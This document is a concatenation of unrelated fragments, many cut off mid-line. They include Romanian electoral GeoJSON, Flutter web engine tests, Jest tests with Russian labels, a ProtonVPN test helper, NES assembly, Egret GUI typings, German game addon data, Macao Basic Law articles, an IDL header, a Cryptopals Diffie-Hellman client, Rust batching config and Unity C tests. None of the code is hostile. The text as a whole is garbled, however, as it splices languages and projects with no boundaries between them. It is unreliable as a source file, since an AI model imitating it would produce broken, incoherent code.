 Total consilieri: 11
 Procent USRPLUS: 9.28%
 Necesar consilieri USRPLUS: 1.02
 Necesar rotunjit: 1" }},
       {"type":"Feature","geometry":{"type":"Polygon","coordinates":[[[22.005873749453833,45.10663841559755],[22.006912534238047,45.10027220946048],[21.99711890770381,45.08319025568108],[21.98470422664416,45.071697583687865],[21.98803013077105,45.052211983742716],[21.998749341993157,45.03829433896529],[22.002259127116933,45.02641232058114],[22.01671677008104,45.0263226742624],[22.033601764385324,45.020792134404694],[22.040802680071007,45.00811480496039],[22.03400941855466,44.998668270434436],[22.036295872179014,44.9847181100518],[22.04997214590838,44.959269119763384],[22.047803454651927,44.94566853094219],[22.062231963929992,44.94435489733309],[22.07413031344697,44.93636223443908],[22.07737822419617,44.9226110371295],[22.104872690295057,44.90371620044051],[22.09672082980264,44.90438094494296],[22.07757259


ispatchedViewFocusEvents, hasLength(1));

      expect(dispatchedViewFocusEvents[0].viewId, view.viewId);
      expect(dispatchedViewFocusEvents[0].state, ui.ViewFocusState.focused);
      expect(dispatchedViewFocusEvents[0].direction, ui.ViewFocusDirection.forward);
    });

    test('works even if focus is changed in the middle of a blur call', () {
      final DomElement input1 = createDomElement('input');
      final DomElement input2 = createDomElement('input');
      final EngineFlutterView view = createAndRegisterView(dispatcher);
      final DomEventListener focusInput1Listener = createDomEventListener((DomEvent event) {
        input1.focusWithoutScroll();
      });

      view.dom.rootElement.append(input1);
      view.dom.rootElement.append(input2);

      input1.addEventListener('blur', focusInput1Listener);
      input1.focusWithoutScroll();
      // The event handler above should move the focus back to input1.
      input2.focusWithoutScroll();
      input1.removeEventListener('blur', focusInput1Listener);

      expect(dispatchedViewFocusEvents, hasLength(1));

      expect(dispatchedViewFocusEvents[0].viewId, view.viewId);
      expect(dispatchedViewFocusEvents[0].state, ui.ViewFocusState.focused);
      expect(dispatchedViewFocusEvents[0].direction, ui.ViewFocusDirection.forward);
    });
  });
}

EngineFlutterView createAndRegisterView(EnginePlatformDispatcher dispatcher) {
  final DomElement div = createDomElement('div');
  final EngineFlutterView view = EngineFlutterView(dispatcher, div);
  domDocument.body!.append(div);
  dispatcher.viewManager.registerView(view);
  return view;
}

extension on DomElement {
  void pressTabKey({bool shift = false}) {
    dispatchKeyboardEvent(type: 'keydown', key: 'Tab', shiftKey: shift);
  }

  void releaseTabKey({bool shift = false}) {
    dispatchKeyboardEvent(type: 'keyup', key: 'Tab', shiftKey: shift);
  }

  void dispatchKeyboardEvent({required String type, required String key, bool shiftKey = false}) {
    dispatchEvent(createDomKeyboardEvent(type, <String, Object>{'key': key, 'shiftKey': shiftKey}));
  }
}
// Copyright 2013 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

import 'dart:async';

import 'package:test/bootstrap/browser.dart';
import 'package:test/test.dart';

import 'package:ui/src/engine.dart';
import 'package:ui/ui.dart' as ui;

import '../../common/test_initialization.dart';
import 'semantics_tester.dart';

DateTime _testTime = DateTime(2023, 2, 17);
EngineSemantics semantics() => EngineSemantics.instance;
EngineSemanticsOwner owner() => EnginePlatformDispatcher.instance.implicitView!.semantics;

void main() {
  internalBootstrapBrowserTest(() {
    return testMain;
  });
}

Future<void> testMain() async {
  setUpImplicitView();

  test('renders label text as DOM', () async {
    semantics()
      ..debugOverrideTimestampFunction(() => _testTime)
      ..semanticsEnabled = true;

    // Add a node with a label - expect a
    {
      final SemanticsTester tester = SemanticsTester(owner());
      tester.updateNode(
        id: 0,
        label: 'Hello',
        transform: Matrix4.identity().toFloat64(),
        rect: const ui.Rect.fromLTRB(0, 0, 100, 50),
      );
      tester.apply();

      expectSemanticsTree(owner(), '''
        <sem>Hello</sem>''');

      final SemanticsObject node = owner().debugSemanticsTree![0]!;
      expect(node.semanticRole?.kind, EngineSemanticsRole.generic);
      expect(
        reason: 'A


cOffset = source.offset;
        var dstData = dest.data as Arrayish<number>;
        var dstOffset = dest.offset;

        for (var y = 0; y < 8; y++) {
            var byte1 = 0; // contains the low bit of each pixel in this row
            var flag = 0x80;
            for (var x = 0; x < 8; x++){
                var pixel = srcData[srcOffset];
                if (pixel & 1) byte1 = byte1 | flag;
                flag = flag >>> 1;
                srcOffset++;
            }

            dstData[dstOffset + y] = byte1;
        }
    }
};import { Field } from './index';
import { convertCoordinate } from './index';

describe('Field', () => {
  let field: Field;
  let fakeField: { size: number; cells: Array<Array<number>> };

  beforeEach(() => {
    field = new Field(10);
    fakeField = { size: 10, cells: [] };
    field.setCells.call(fakeField);
  });

  describe('getCells', () => {
    test('существует', () => {
      expect(field.getCells).toBeDefined();
      expect(typeof field.getCells).toBe('function');
    });

    test('возвращает копию массива', () => {
      expect(field.getCells.call(fakeField)).toEqual(fakeField.cells);
      expect(field.getCells.call(fakeField)).not.toBe(fakeField.cells);
      field.getCells.call(fakeField).forEach((row, index) => {
        expect(row).not.toBe(fakeField.cells[index]);
      });
    });
  });

  describe('getCoordinatesAround', () => {
    test('существует', () => {
      expect(field.getCoordinatesAround).toBeDefined();
      expect(typeof field.getCoordinatesAround).toBe('function');
    });

    test('возвращает корректные координаты', () => {
      [
        {
          center: { x: 0, y: 0 },
          around: [
            { x: 1, y: 0 },
            { x: 0, y: 1 },
          ],
        },
        {
          center: { x: 1, y: 0 },
          around: [
            { x: 2, y: 0 },
            { x: 1, y: 1 },
            { x: 0, y: 0 },
          ],
        },
        {
          center: { x: 1, y: 1 },
          around: [
            { x: 1, y: 0 },
            { x: 2, y: 1 },
            { x: 1, y: 2 },
            { x: 0, y: 1 },
          ],
        },
        {
          center: { x: 0, y: 1 },
          around: [
            { x: 0, y: 0 },
            { x: 1, y: 1 },
            { x: 0, y: 2 },
          ],
        },
      ].forEach(({ center, around }) => {
        expect(field.getCoordinatesAround(center).length).toBe(around.length);
        expect(field.getCoordinatesAround(center)).toEqual(
          expect.arrayContaining(around)
        );
      });
    });
  });

  describe('getPath', () => {
    test('существует', () => {
      expect(field.getPath).toBeDefined();
      expect(typeof field.getPath).toBe('function');
    });

    test('возвращает корректные пути', () => {
      [
        {
          barriers: [{ x: 1, y: 0 }],
          path: [
            { x: 0, y: 0 },
            { x: 1, y: 1 },
          ],
          equal: [
            { x: 0, y: 0 },
            { x: 0, y: 1 },
            { x: 1, y: 1 },
          ],
        },
        {
          barriers: [{ x: 0, y: 1 }],
          path: [
            { x: 0, y: 0 },
            { x: 1, y: 1 },
          ],
          equal: [
            { x: 0, y: 0 },
            { x: 1, y: 0 },
            { x: 1, y: 1 },
          ],
        },
        {
          barriers: [
            { x: 1, y: 0 },


should have received a copy of the GNU General Public License
 * along with ProtonVPN.  If not, see <https://www.gnu.org/licenses/>.
 */

namespace ProtonVPN.ProcessCommunication.Common.Tests
{
    public static class ParallelTestRunner
    {
        public static void ExecuteInParallel(int numOfCalls, Func<int, Task> functionToRepeat)
        {
            IList<Task> tasks = new List<Task>();
            for (int i = 0; i < numOfCalls; i++)
            {
                tasks.Add(functionToRepeat(i));
            }
            Task.WaitAll(tasks.ToArray());
        }
    }
}


from uuid import UUID

from pydantic import BaseModel, ConfigDict, Field

from app.schemas.commodity_coin_schema import CommodityCoinSchema

class FlatCoinSchema(BaseModel):
    model_config = ConfigDict(
        frozen=True,
    )
    id: UUID = Field(..., description="ID of coin")
    name: str = Field(..., description="Name of coin")
    address: str = Field(..., description="Coin address")
    description: str = Field(..., description="Coin description")
    commodity_coins: list[CommodityCoinSchema] = Field(
        ..., description="Commodity coins basket"
    )


', () => {
        expect(errToSome(ok(1))).toEqual(none());
    });

    it('err -> sone', () => {
        expect(errToSome(err(0))).toEqual(some(0));
    });
});

describe('someToStep', () => {
    it('some -> step', () => {
        expect(someToStep(some(1), 0)).toEqual(step(1));
    });

    it('none -> fail', () => {
        expect(someToStep(none(), 0)).toEqual(fail(0));
    });
});

describe('someToFinish', () => {
    it('some -> step', () => {
        expect(someToFinish(some(1), 0)).toEqual(finish(1));
    });

    it('none -> fail', () => {
        expect(someToFinish(none(), 0)).toEqual(fail(0));
    });
});

describe('okToStep', () => {
    it('ok -> step', () => {
        expect(okToStep(ok(1))).toEqual(step(1));
    });

    it('err -> fail', () => {
        expect(okToStep(err(0))).toEqual(fail(0));
    });
});

describe('okToFinish', () => {
    it('ok -> finish', () => {
        expect(okToFinish(ok(1))).toEqual(finish(1));
    });

    it('err -> fail', () => {
        expect(okToFinish(err(0))).toEqual(fail(0));
    });
});
export const clamp = (value: number, min: number, max: number): number => {
  return Math.min(Math.max(value, min), max);
};

export const hex2bin = (hex: string): string => {
  return ('00000000' + parseInt(hex, 16).toString(2)).substr(-8);
};
import { PDFOptions } from 'puppeteer'
import { FastifyInstance } from 'fastify'
import fp from 'fastify-plugin'
import {
  PresetPDFOptions,
  PresetPDFOptionsLoaderConfig,
  PresetPDFOptionsModule,
} from '../types/pdf-options'

export class PresetPDFOptionsLoader {
  preset: PresetPDFOptions
  defaultPDFOptions = {} as PDFOptions

  constructor(preset: PresetPDFOptions) {
    this.preset = preset
  }

  static async init(
    config: PresetPDFOptionsLoaderConfig
  ): Promise<PresetPDFOptionsLoader> {
    const preset = await this.loadPDFOptionsPreset(config.filePath)
    if (!config.filePath) {
      throw new Error('filePath is required')
    }
    return new PresetPDFOptionsLoader(preset)
  }

  static async loadPDFOptionsPreset(
    filePath: string
  ): Promise<PresetPDFOptions> {
    const preset = (await import(filePath)) as PresetPDFOptionsModule
    return preset.PresetPDFOptions
  }

  get(name?: string): PDFOptions {
    if (!name) {
      return this.defaultPDFOptions
    }
    if (!(name in this.preset)) {
      console.error(`PDFOptions not found ${name}, use default.`)
      return this.defaultPDFOptions
    }
    return this.preset[name]
  }
}

async function plugin(
  fastify: FastifyInstance,
  options: PresetPDFOptionsLoaderConfig,
  next: (err?: Error) => void
) {
  const presetPDFOptionsLoader = await PresetPDFOptionsLoader.init(options)
  fastify.decorate('getPDFOptions', (name?: string) => {
    return presetPDFOptionsLoader.get(name)
  })
  fastify.decorate('getPresetPDFOptions', () => {
    return presetPDFOptionsLoader.preset
  })
  next()
}

export const hcPDFOptionsPlugin = fp(plugin, {
  fastify: '^3.0.0',
  name: 'hc-pdf-options-plugin',
})

declare module 'fastify' {
  interface FastifyInstance {
    getPDFOptions(name?: string): PDFOptions
    getPresetPDFOptions(): PresetPDFOptions


TAY						;

  LDA UNUSED_C49B,Y				;
  STA $07						;

  LDA UNUSED_C49B+1,Y				;
  STA $08						;

  LDX FlameEnemy_CurrentIndex			;
  LDY FlameEnemy_CurrentPlatformIndex,X		;
  BEQ CODE_E7F2					;

  DEY						;
  LDA ($07),Y					;initialize first counter
  STA $09						;

  INY						;
  LDA ($07),Y					;
  STA $0A						;second counter (basically how many ladders to check against on the plane the flame guy is on)

  LDA PhaseNo					;once again, skip over 25M
  SEC						;
  SBC #$02					;
  ASL A						;
  TAY						;

  LDA UNUSED_C4A1,Y				;the ladder climb data for flame guy to climb on
  STA $07						;

  LDA UNUSED_C4A1+1,Y				;
  STA $08						;

  LDY $09						;

LOOP_E7E2
  CPY $0A						;
  BEQ CODE_E7F2					;

  LDA ($07),Y					;check if the flamer is at the ladder's x-pos
  CMP TEMP_EntityXPosition			;
  BEQ CODE_E7F9					;climb it
  INY						;
  INY						;
  INY						;
  JMP LOOP_E7E2					;

CODE_E7F2
  LDA #FlameEnemy_State_AnimateInPlace		;ERROR Ladder not found, please hold
  LDX FlameEnemy_CurrentIndex			;
  STA FlameEnemy_State,X				;
  RTS						;

CODE_E7F9
  INY						;LADDER FOUND, CLIMBING INITIATED
  LDA ($07),Y					;
  LDX FlameEnemy_CurrentIndex			;
  STA FlameEnemy_LadderEndYPos,X			;end point for the ladder (where it stops climbing)

  INY						;
  LDA ($07),Y					;climb the ladder up or down state
  STA FlameEnemy_State,X				;
  RTS						;

  ;used for updating flame enemies
  ;uses bitwise check for which frame to update the flame enemies on.
;input
  ;$0A - timing for the first 8 bits
  ;$0B - timing for the last 8 bits
;Example of how it works
  ;$0A = $88 - %10001000
  ;$0B = $88 - %10001000
  ;FlameEnemy_TimingCounter = 0 - checks bit 0 of $0A - don't run the routine
  ;FlameEnemy_TimingCounter = 8 - checks bit 0 of $0B - don't run the routine
  ;FlameEnemy_TimingCounter = 3 - checks bit 3 of $0A - run the routine
  ;and so on.
  ;it's pretty much the same routine as with barrels/platform lifts (at PlatformAndBarrelTiming_DFE8)

FlameEnemyTiming_E806
  LDX FlameEnemy_CurrentIndex			;
  INC FlameEnemy_TimingCounter,X			;

  LDA FlameEnemy_TimingCounter,X			;
  BMI CODE_E815					;if negative (for whatever reason)
  CMP #$10					;
  BCS CODE_E815					;
  JMP CODE_E819					;

CODE_E815
  LDA #$00					;start checking from bit 0 again
  STA FlameEnemy_TimingCounter,X			;

CODE_E819
  CMP #$08					;chec


设置组的一个简便方式，作用与设置group属性相同,。
         * @member egret.gui.RadioButton#groupName
         */
        groupName: string;
        /**
         *
         * @param value
         * @private
         */
        _setSelected(value: boolean): void;
        private _value;
        /**
         * 与此单选按钮关联的自定义数据。
         * 当被点击时，所属的RadioButtonGroup对象会把此属性赋值给ItemClickEvent.item属性并抛出事件。
         * @member egret.gui.RadioButton#value
         */
        value: any;
        /**
         * 处理对组件设置的属性
         * @method egret.gui.RadioButton#commitProperties
         */
        commitProperties(): void;
        /**
         * 绘制对象和/或设置其子项的大小和位置
         * @method egret.gui.RadioButton#updateDisplayList
         * @param unscaledWidth {number}
         * @param unscaledHeight {number}
         */
        updateDisplayList(unscaledWidth: number, unscaledHeight: number): void;
        /**
         * 当在用户单击按钮之后处理 MouseEvent.MOUSE_UP 事件时，将调用此方法
         * @method egret.gui.RadioButton#buttonReleased
         */
        buttonReleased(): void;
        /**
         * 添此单选按钮加到组
         */
        private addToGroup();
    }
}
declare namespace egret.gui {
    /**
     * @class egret.gui.RadioButtonGroup
     * @classdesc
     * RadioButtonGroup 组件定义一组 RadioButton 组件，这些组件相互排斥；因此，用户每次只能选择一个 RadioButton 组件
     * @extends egret.EventDispatcher
     */
    class RadioButtonGroup extends EventDispatcher {
        /**
         * 构造函数
         * @method egret.gui.RadioButtonGroup#constructor
         */
        constructor();
        private static groupCount;
        /**
         * 组名
         */
        _name: string;
        /**
         * 单选按钮列表
         */
        private radioButtons;
        private _enabled;
        /**
         * 组件是否可以接受用户交互。默认值为true。设置此属性将影响组内所有单选按钮。
         * @member egret.gui.RadioButtonGroup#enabled
         */
        enabled: boolean;
        /**
         * 组内单选按钮数量
         * @member egret.gui.RadioButtonGroup#numRadioButtons
         */
        readonly numRadioButtons: number;
        private _selectedValue;
        /**
         * 当前被选中的单选按钮的value属性值。注意，此属性仅当目标RadioButton在显示列表时有效。
         * @member egret.gui.RadioButtonGroup#selectedValue
         */
        selectedValue: any;
        private _selection;
        /**
         * 当前被选中的单选按钮引用,注意，此属性仅当目标RadioButton在显示列表时有效。
         * @member egret.gui.RadioButtonGroup#selection
         */
        selection: RadioButton;
        /**
         * 获取指定索引的单选按钮
         * @method egret.gui.RadioButtonGroup#getRadioButtonAt
         * @param index {number} 单选按钮的索引
         * @returns {RadioButton}
         */
        getRadioButtonAt(index: number): RadioButton;
        /**
         * 添加单选按钮到组内
         * @param instanc


"] = "1/25///",
		["c2"] = "28/41/275/173",
		["ml"] = "60/5/63/12/1/18",
		["bi"] = "28//11449/13286/10///",
	},
	["Sirene der Grollflossen:51"] = {
		["bi"] = "1//616///176//",
		["ml"] = "41/51/41/51/1/2",
		["c2"] = "1/103/113/230",
	},
	["Sohn der Flamme:60"] = {
		["c3"] = "/38/1001/",
		["bi"] = "//////2/",
	},
	["Elitewache von Onyxia:60"] = {
		["bi"] = "//////2/",
		["ml"] = "78/16/78/16/2/21",
		["c2"] = "2///43",
	},
	["Wespe der Gorishi:51"] = {
		["bi"] = "2/2////176//",
		["ml"] = "49/80/50/85/1/6",
		["c2"] = "2///71",
	},
	["Gruftkriecher:59"] = {
		["qi"] = "2/3///",
		["bi"] = "5///3766///2/",
		["ml"] = "0/0/0/0/2/112",
		["c2"] = "5/48/952/146",
	},
	["Brennender Verbannter:38"] = {
		["qi"] = "2/4///",
		["c2"] = "12/31/69/263",
		["ml"] = "23/28/27/32/2/2",
		["bi"] = "10/6//2035////",
	},
	["Buddler der Defias:15"] = {
		["qi"] = "/3/1//",
		["il"] = "818",
		["c2"] = "7/15/23/42",
		["ml"] = "41/79/41/79/2/111",
		["bi"] = "5//132/179/3///",
	},
	["Waffentechniker:55"] = {
		["qi"] = "/3///",
		["c2"] = "9/50/980/140",
		["ml"] = "0/0/0/0/2/102",
		["bi"] = "4//1695/700/1/140//",
	},
	["Höhlenbehüter der Totenwaldfelle:53"] = {
		["qi"] = "1/30///",
		["c2"] = "38/2/213/195",
		["ml"] = "61/5/64/11/1/18",
		["bi"] = "35//17277/17768/7///",
	},
	["Erntegolem:12"] = {
		["qi"] = "/2///",
		["c2"] = "2///",
		["ml"] = "46/66/46/66/2/25",
		["bi"] = "1//21/33////",
	},
	["Kriegsmeister Voone:59"] = {
		["c2"] = "2/58/227/188",
		["ml"] = "0/0/0/0/2/104",
		["bi"] = "/////182/2/",
	},
	["Schwarmwache der Gorishi:54"] = {
		["qi"] = "4/1///",
		["bi"] = "6/1//2288//238//",
		["ml"] = "43/80/43/81/1/6",
		["c2"] = "12/29/174/87",
	},
	["Beschützer von Eisenborke:58"] = {
		["bi"] = "//////2/",
	},
	["Gequälter Druide:55"] = {
		["qi"] = "/1///",
		["c2"] =


建立正式外交关系的国家在澳门设立的领事机构和其他官方机构，可予保留。

尚未同中华人民共和国建立正式外交关系的国家在澳门设立的领事机构和其他官方机构，可根据情况予以保留或改为半官方机构。

尚未为中华人民共和国承认的国家，只能在澳门特别行政区设立民间机构。

### 第八章 本法的解释和修改

第一百四十三条 本法的解释权属于全国人民代表大会常务委员会。

全国人民代表大会常务委员会授权澳门特别行政区法院在审理案件时对本法关于澳门特别行政区自治范围内的条款自行解释。

澳门特别行政区法院在审理案件时对本法的其他条款也可解释。但如澳门特别行政区法院在审理案件时需要对本法关于中央人民政府管理的事务或中央和澳门特别行政区关系的条款进行解释，而该条款的解释又影响到案件的判决，在对该案件作出不可上诉的终局判决前，应由澳门特别行政区终审法院提请全国人民代表大会常务委员会对有关条款作出解释。如全国人民代表大会常务委员会作出解释，澳门特别行政区法院在引用该条款时，应以全国人民代表大会常务委员会的解释为准。但在此以前作出的判决不受影响。

全国人民代表大会常务委员会在对本法进行解释前，征询其所属的澳门特别行政区基本法委员会的意见。

第一百四十四条 本法的修改权属于全国人民代表大会。

本法的修改提案权属于全国人民代表大会常务委员会、国务院和澳门特别行政区。澳门特别行政区的修改议案，须经澳门特别行政区的全国人民代表大会代表三分之二多数、澳门特别行政区立法会全体议员三分之二多数和澳门特别行政区行政长官同意后，交由澳门特别行政区出席全国人民代表大会的代表团向全国人民代表大会提出。

本法的修改议案在列入全国人民代表大会的议程前，先由澳门特别行政区基本法委员会研究并提出


// utl_exceptlist.h,v 1.5 1998/10/20 02:32:47 levine Exp

/*
 *======================================================================
 *
 *Copyright 1992 Sun Microsystems, Inc.
 *
 *The Interface Definition Language Compiler Front End (CFE) is made
 *available for use provided that this legend is included on all media and
 *documentation and as a part of the software program in whole or part.
 *Users may copy and extend functionality (but may not remove
 *functionality) of the Interface Definition Language CFE without charge,
 *but are not authorized to license or distribute it to anyone else except
 *as part of a product or program developed by the user or with the express
 *written consent of Sun Microsystems, Inc.
 *
 *The names of Sun Microsystems, Inc. and any of its subsidiaries may not
 *be used in advertising or publicity pertaining to distribution of
 *Interface Definition Language CFE as permitted herein.
 *
 *The Interface Definition Language CFE may not be exported outside the
 *United States without first obtaining the appropriate government
 *approvals.
 *
 *INTERFACE DEFINITION LANGUAGE CFE IS PROVIDED AS IS WITH NO WARRANTIES
 *OF ANY KIND INCLUDING THE WARRANTIES OF DESIGN, MERCHANTIBILITY AND
 *FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR ARISING FROM A
 *COURSE OF DEALING, USAGE OR TRADE PRACTICE.
 *
 *Interface Definition Language CFE is provided with no support and
 *without any obligation on the part of Sun Microsystems, Inc. or any of
 *its subsidiaries or affiliates to assist in its use, correction,
 *modification or enhancement.
 *
 *SUN MICROSYSTEMS, INC. OR ANY OF ITS SUBSIDIARIES OR AFFILIATES SHALL
 *HAVE NO LIABILITY WITH RESPECT TO THE INFRINGEMENT OF COPYRIGHTS, TRADE
 *SECRETS OR ANY PATENTS BY INTERFACE DEFINITION LANGUAGE CFE OR ANY PART
 *THEREOF.
 *
 *IN NO EVENT WILL SUN MICROSYSTEMS, INC. OR ANY OF ITS SUBSIDIARIES OR
 *AFFILIATES BE LIABLE FOR ANY LOST REVENUE OR PROFITS OR OTHER SPECIAL,
 *INDIRECT AND CONSEQUENTIAL DAMAGES, EVEN IF SUN HAS BEEN ADVISED OF THE
 *POSSIBILITY OF SUCH DAMAGES.
 *
 *SunSoft, Inc.
 *2550 Garcia Avenue
 *Mountain View, California  94043
 *
 *
 *
 *
 *======================================================================
 */

#ifndef _UTL_EXCEPTLIST_UTL_EXCEPTLIST_HH
#define _UTL_EXCEPTLIST_UTL_EXCEPTLIST_HH

// utl_exceptlist.hh
//
// List of AST_Exception nodes

/*
** DEPENDENCIES: utl_list.hh, ast_exception.hh
**
** USE: Included from util.hh
*/

#include        "ace/stdcpp.h"

#if !defined (ACE_LACKS_PRAGMA_ONCE)
# pragma once
#endif /* ACE_LACKS_PRAGMA_ONCE */

#include        "idl_fwd.h"
#include        "utl_list.h"
#include        "utl_strlist.h"
#include        "utl_idlist.h"
#include        "utl_scoped_name.h"
#include        "utl_identifier.h"
#include        "utl_string.h"
#include        "ast_expression.h"
#include        "idl_bool.h"
#include        "utl_scope.h"
#include        "ast_decl.h"
#include        "ast_type.h"
#include        "ast_concrete_type.h"
#include        "ast_structure.h"
#include        "ast_exception.h"

class   UTL_ExceptList : public UTL_List<UTL_ExceptList, AST_Exception>
{
public:
  // Operations

  // Constructor(s)
  UTL_ExceptList(AST_Exception *s, UTL_ExceptList *cdr);
  virtual ~UTL_ExceptList() {}
};

// Active iterator for UTL_ExceptList
class   UTL_ExceptlistActiveIterator :
    public UTL_ListActiveIterator<UTL_ExceptList, AST_Exception>
{
public:
  // Operations

  // Constructor(s)
  UTL_ExceptlistActiveIterator(UTL_ExceptList *s);
  virtual ~UTL_ExceptlistActiveIterator() {}
};

#endif           // _UTL_EXCEPTLIST_UTL_EXCEPTLIST_HH


from Cryptodome.Random import get_random_bytes
from Cryptodome.Random.random import randint
import socket
import sys
import challenge34_shared

host = sys.argv[1]
port = int(sys.argv[2])
message = sys.argv[3]

p = 0xffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca237327ffffffffffffffff
g = 2
a = randint(0, p)
A = pow(g, a, p)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.connect((host, port))
    conn = challenge34_shared.Conn(sock)

    print('C: writing p...')
    conn.writenum(p)

    print('C: writing g...')
    conn.writenum(g)

    print('C: writing A...')
    conn.writenum(A)

    print('C: reading B...')
    B = conn.readnum()

    s = pow(B, a, p)
    key = challenge34_shared.derivekey(s)

    iv = get_random_bytes(16)
    encrypted_message = challenge34_shared.encrypt(key, iv, message)

    print('C: writing encrypted message...')
    conn.writebytes(encrypted_message)

    print('C: writing iv...')
    conn.writebytes(iv)

    print('C: reading encrypted message...')
    encrypted_message2 = conn.readbytes()
    message2 = challenge34_shared.decrypt(key, iv, encrypted_message2)
    if message2 != message:
        raise Exception(message2 + ' != ' + message)
finally:
    sock.close()


?;
        config.into_batcher_settings()
    }
}

impl<D: SinkBatchSettings> BatchConfig<D, Merged> {
    pub fn validate(self) -> Result<BatchConfig<D, Merged>, BatchError> {
        Ok(self)
    }

    pub fn disallow_max_bytes(self) -> Result<Self, BatchError> {
        // Sinks that used `max_size` for an event count cannot count
        // bytes, so err if `max_bytes` is set.
        match self.max_bytes {
            Some(_) => Err(BatchError::BytesNotAllowed),
            None => Ok(self),
        }
    }

    pub fn limit_max_bytes(self, limit: usize) -> Result<Self, BatchError> {
        match self.max_bytes {
            Some(n) if n > limit => Err(BatchError::MaxBytesExceeded { limit }),
            _ => Ok(self),
        }
    }

    pub fn limit_max_events(self, limit: usize) -> Result<Self, BatchError> {
        match self.max_events {
            Some(n) if n > limit => Err(BatchError::MaxEventsExceeded { limit }),
            _ => Ok(self),
        }
    }

    pub fn into_batch_settings<T: Batch>(self) -> Result<BatchSettings<T>, BatchError> {
        let adjusted = T::get_settings_defaults(self)?;

        // This is unfortunate since we technically have already made sure this isn't possible in
        // `validate`, but alas.
        let timeout_secs = adjusted.timeout_secs.ok_or(BatchError::InvalidTimeout)?;

        Ok(BatchSettings {
            size: BatchSize {
                bytes: adjusted.max_bytes.unwrap_or(usize::MAX),
                events: adjusted.max_events.unwrap_or(usize::MAX),
                _type_marker: PhantomData,
            },
            timeout: Duration::from_secs_f64(timeout_secs),
        })
    }

    /// Converts these settings into [`BatcherSettings`].
    ///
    /// `BatcherSettings` is effectively the `vector_core` spiritual successor of
    /// [`BatchSettings<B>`].  Once all sinks are rewritten in the new stream-based style and we can
    /// eschew customized batch buffer types, we can de-genericify `BatchSettings` and move it into
    /// `vector_core`, and use that instead of `BatcherSettings`.
    pub fn into_batcher_settings(self) -> Result<BatcherSettings, BatchError> {
        let max_bytes = self
            .max_bytes
            .and_then(NonZeroUsize::new)
            .or_else(|| NonZeroUsize::new(usize::MAX))
            .expect("`max_bytes` should already be validated");

        let max_events = self
            .max_events
            .and_then(NonZeroUsize::new)
            .or_else(|| NonZeroUsize::new(usize::MAX))
            .expect("`max_bytes` should already be validated");

        // This is unfortunate since we technically have already made sure this isn't possible in
        // `validate`, but alas.
        let timeout_secs = self.timeout_secs.ok_or(BatchError::InvalidTimeout)?;

        Ok(BatcherSettings::new(
            Duration::from_secs_f64(timeout_secs),
            max_bytes,
            max_events,
        ))
    }
}

// Going from a merged to unmerged configuration is fine, because we know it already had to have
// been validated/limited.
impl<D1, D2> From<BatchConfig<D1, Merged>> for BatchConfig<D2, Unmerged>
where
    D1: SinkBatchSettings,
    D2: SinkBatchSettings,
{
    fn from(config: BatchConfig<D1, Merged>) -> Self {
        BatchConfig {


/* ==========================================
    Unity Project - A Test Framework for C
    Copyright (c) 2007 Mike Karlesky, Mark VanderVoord, Greg Williams
    [Released under MIT License. Please refer to license.txt for details]
========================================== */

#include <setjmp.h>
#include <stdio.h>
#include "unity.h"

void putcharSpy(int c) { (void)putchar(c);} // include passthrough for linking tests

#define TEST_CASE(...)

#define EXPECT_ABORT_BEGIN \
    if (TEST_PROTECT())    \
    {

#define VERIFY_FAILS_END                                                       \
    }                                                                          \
    Unity.CurrentTestFailed = (Unity.CurrentTestFailed != 0) ? 0 : 1;          \
    if (Unity.CurrentTestFailed == 1) {                                        \
      SetToOneMeanWeAlreadyCheckedThisGuy = 1;                                 \
      UnityPrintNumberUnsigned(Unity.CurrentTestLineNumber);                   \
      UNITY_OUTPUT_CHAR(':');                                                  \
      UnityPrint(Unity.CurrentTestName);                                       \
      UnityPrint(":FAIL: [[[[ Test Should Have Failed But Did Not ]]]]");      \
      UNITY_OUTPUT_CHAR('\n');                                                 \
    }

#define VERIFY_IGNORES_END                                                     \
    }                                                                          \
    Unity.CurrentTestFailed = (Unity.CurrentTestIgnored != 0) ? 0 : 1;         \
    Unity.CurrentTestIgnored = 0;                                              \
    if (Unity.CurrentTestFailed == 1) {                                        \
      SetToOneMeanWeAlreadyCheckedThisGuy = 1;                                 \
      UnityPrintNumberUnsigned(Unity.CurrentTestLineNumber);                   \
      UNITY_OUTPUT_CHAR(':');                                                  \
      UnityPrint(Unity.CurrentTestName);                                       \
      UnityPrint(":FAIL: [[[[ Test Should Have Ignored But Did Not ]]]]");     \
      UNITY_OUTPUT_CHAR('\n');                                                 \
    }

int SetToOneToFailInTearDown;
int SetToOneMeanWeAlreadyCheckedThisGuy;

void setUp(void)
{
  SetToOneToFailInTearDown = 0;
  SetToOneMeanWeAlreadyCheckedThisGuy = 0;
}

void tearDown(void)
{
  if (SetToOneToFailInTearDown == 1)
    TEST_FAIL_MESSAGE("<= Failed in tearDown");
  if ((SetToOneMeanWeAlreadyCheckedThisGuy == 0) && (Unity.CurrentTestFailed > 0))
  {
    UnityPrint(": [[[[ Test Should Have Passed But Did Not ]]]]");
    UNITY_OUTPUT_CHAR('\n');
  }
}

TEST_CASE(0)
TEST_CASE(44)
TEST_CASE((90)+9)
void test_TheseShouldAllPass(int Num)
{
    TEST_ASSERT_TRUE(Num < 100);
}

TEST_CASE(3)
TEST_CASE(77)
TEST_CASE( (99) + 1 - (1))
void test_TheseShouldAllFail(int Num)
{
    EXPECT_ABORT_BEGIN
    TEST_ASSERT_TRUE(Num > 100);
    VERIFY_FAILS_END
}

TEST_CASE(1)
TEST_CASE(44)
TEST_CASE(99)
TEST_CASE(98)
void test_TheseAreEveryOther(int Num)
{
    if (Num & 1)
    {
        EXPECT_ABORT_BEGIN
        TEST_ASSERT_TRUE(Num > 100);
        VERIFY_FAILS_END
    }
    else
    {
        TEST_ASSERT_TRUE(Num < 100);
    }
}

void test_NormalPassesStillWork(void)
{
    TEST_ASSERT_TRUE(1);
}

void test_NormalFailsStillWork(void)
{
    EXPECT_ABORT_BEGIN
    TEST_ASSERT_TRUE(0);
